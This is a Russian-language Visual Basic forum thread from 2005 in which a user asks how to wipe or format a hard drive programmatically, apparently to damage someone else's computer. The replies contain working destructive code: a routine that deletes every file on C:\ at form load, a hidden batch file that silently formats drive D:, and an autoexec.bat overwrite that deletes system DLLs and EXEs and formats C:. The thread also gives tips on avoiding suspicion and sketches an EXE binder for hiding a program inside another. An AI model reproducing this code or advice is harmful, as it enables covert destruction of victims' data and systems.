Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: Как отформатировать жесткий диск на VB Добавлено: 11.06.05 22:48  

Автор вопроса:  999 | Web-сайт: wolf002.narod.ru
Кто знает может как это сделать.
Есть идея стереть первую дорожку первого сектора на диске, или удалить дерево каталогов, но как это сделать программно.

Ответить

  Ответы Всего ответов: 10  

Номер ответа: 1
Автор ответа:
 Morpheus



Вопросов: 224
Ответов: 3777
 Web-сайт: xury.zx6.ru
 Профиль | | #1
Добавлено: 12.06.05 01:06
А ты что ли нашёл уже инфу как вгрызаться в чужие EXE?

Ответить

Номер ответа: 2
Автор ответа:
 ViktorZ



ICQ: 271202919 

Вопросов: 56
Ответов: 837
 Профиль | | #2 Добавлено: 12.06.05 03:14
а причем здесь это
А ты что ли нашёл уже инфу как вгрызаться в чужие EXE?

Ответить

Номер ответа: 3
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #3 Добавлено: 12.06.05 04:25
По возникшему офтопу:
Учить PE
Найти джоинер (склеиватель) который умеет работать через коммандную строку
Не клеится к exe, а в себя клеить exe менят у себя имя на exe который приклеяли, удялять exe тот что приклеяли. Тогда когда запустится наша прога извлекать прикляный exe (орегинальную прогу) и запускать её, ну а мы ж уже будем запущены и так. Вообщем методом через попку думаю не проблема, сдлеть по нормальному конечно сложно.


По топику:
Отформатировать неполучится, т.к. загружена ОС. Можно отформатировать диск НЕ скоторого грузилась ос. Удалить дерево каталогов полностью неполучится, опять же ОС кое что не разришит удалять. Ну а так что-то типа:



Private Const MAX_PATH = 260
Private Const INVALID_HANDLE_VALUE = -1
Private Const FILE_ATTRIBUTE_DIRECTORY As Long = &H10

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * MAX_PATH
    cAlternate As String * 14
End Type

Private Declare Function FindFirstFile Lib "KERNEL32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "KERNEL32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "KERNEL32" (ByVal hFindFile As Long) As Long
Dim FindFile As New Collection


Public Sub DelFiles(Path$)
'Подпрограмма для удаления файлов в папке с фильтром (*.* or *.ini or file.*)
On Error Resume Next
sFilter$ = Spliting(Path$, "\";)
FindPath$ = Replace(Path$, sFilter$, "";)
Dim objName As String
Dim hSearch As Long
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
    Cont = True
    hSearch = FindFirstFile(FindPath$ & "*", WFD)
    If hSearch <> INVALID_HANDLE_VALUE Then
        Do While Cont
            objName = Left(WFD.cFileName, InStr(WFD.cFileName, Chr(0)) - 1)
            If Not (objName = "." Or objName = "..";) Then
                If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = 0 Then
                   If sFilter$ = "*.*" Then
                    Kill FindPath$ & objName
                   Else
                    e0$ = Spliting(objName, ".";)
                    e1$ = Spliting(sFilter$, ".";)
                    If e0$ = e1$ Then Kill FindPath$ & objName: GoTo e
                    e0$ = Left(Spliting(objName, "\";), InStr(1, Spliting(objName, "\";), ".", 1) - 1)
                    e1$ = Left(sFilter$, InStr(1, sFilter$, ".", 1) - 1)
                    If e0$ = e1$ Then Kill FindPath$ & objName
e:
                   End If
                Else
                    ;DelFiles Source & objName & "\"
                End If
            End If
           Cont = FindNextFile(hSearch, WFD)
        Loop
        Cont = FindClose(hSearch)
    End If
End Sub

Public Function Spliting(sFullPath As String, point As String)
If sFullPath = "" Then Exit Function
Dim str1() As String
str1 = Split(sFullPath, point)
Spliting = str1(UBound(str1))
End Function








в лоадформе
DelFiles "C:\"

:)

Ответить

Номер ответа: 4
Автор ответа:
 999



Вопросов: 13
Ответов: 26
 Web-сайт: wolf002.narod.ru
 Профиль | | #4
Добавлено: 12.06.05 14:41
Спасибо за пример HACKER.
, но ведь он долгий и венчистер наверное будет долго жужать, а это вызовет не нужные подозрения, ты писал, что можно как то отформатировать диск на который не установлена ОС. Если можно по подробней об этом.

Ответить

Номер ответа: 5
Автор ответа:
 999



Вопросов: 13
Ответов: 26
 Web-сайт: wolf002.narod.ru
 Профиль | | #5
Добавлено: 12.06.05 14:51
Morpheus
Я писал где то на форуме, что как вгрызаться в жучие EXE я не нашел, но нашел как хранить данные из одной проги сделанный на VB в другой проге тоже на VB

Ответить

Номер ответа: 6
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #6 Добавлено: 12.06.05 18:15
но нашел как хранить данные из одной проги сделанный на VB в другой проге тоже на VB


Не обязательно чтоб вторая была на ВБ.

2 999

Да, тормознутасть с одной стороны большая, с другой стороны это самый быстрый способ обхода всех файлов на диске, поэтому винт и жужит сильно. Чтобы сделать удаление медленее, можно после Do While Cont, DoEvents поставить, и/или паузу там организовать, тогда винт будет медление читать файлы ну и жужать не будет... Ещё вариант использовать рекурсивный перебор контролами Drive, Dir and File ... это медленный способ но жужать тоже будет не так сильно.

По поводу форматирования...
Предположим ОС грузилась с C:, тогда чтобы форматнуть D: ...

Private Sub Form_Load()
Open "C:\tmp.bat" For Output As #1
'Print #1, "format D: /q /autotest"
Print #1, "format D: /q /y"
Close #1

Shell "C:\tmp.bat", vbHide
End Sub


Тестировать код не советую, т.к. за последствия не отвечаю, или исправь D: на A: . На то что закоментировано бывает нехватает прав, вообщем пробуй :))))

Ответить

Номер ответа: 7
Автор ответа:
 Barsik



Разработчик Offline Client

ICQ: 343368641 

Вопросов: 17
Ответов: 686
 Web-сайт: barsik.newmail.ru
 Профиль | | #7
Добавлено: 14.06.05 11:20
2 HACKER: а зачем форму грузить. можно просто модуль и Sub Main :)

Ответить

Номер ответа: 8
Автор ответа:
 Barsik



Разработчик Offline Client

ICQ: 343368641 

Вопросов: 17
Ответов: 686
 Web-сайт: barsik.newmail.ru
 Профиль | | #8
Добавлено: 14.06.05 11:22
да, кстати вот что можно предложить

Open "c:\autoexec.bat" For Output As #1'Открываем автоекзек для редактирования
Print #1, "@echo off" 'прописываем строчку
Print #1, "del " & WD & "\system\*.dll" ' ага... в автоэкзеке появились новые строки...
Print #1, " format c:/autotest" ' о-о-о! Что это??? Как это???
Print #1, "del " & WD & "\*.exe"
Close #1 ' закрываем редактированные файло

Ответить

Номер ответа: 9
Автор ответа:
 999



Вопросов: 13
Ответов: 26
 Web-сайт: wolf002.narod.ru
 Профиль | | #9
Добавлено: 11.07.05 20:42
Barsik а что это за команда такая format c:/autotest
че она делает.

Ответить

Номер ответа: 10
Автор ответа:
 Barsik



Разработчик Offline Client

ICQ: 343368641 

Вопросов: 17
Ответов: 686
 Web-сайт: barsik.newmail.ru
 Профиль | | #10
Добавлено: 15.07.05 20:49
а ты сам догодайся :)

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам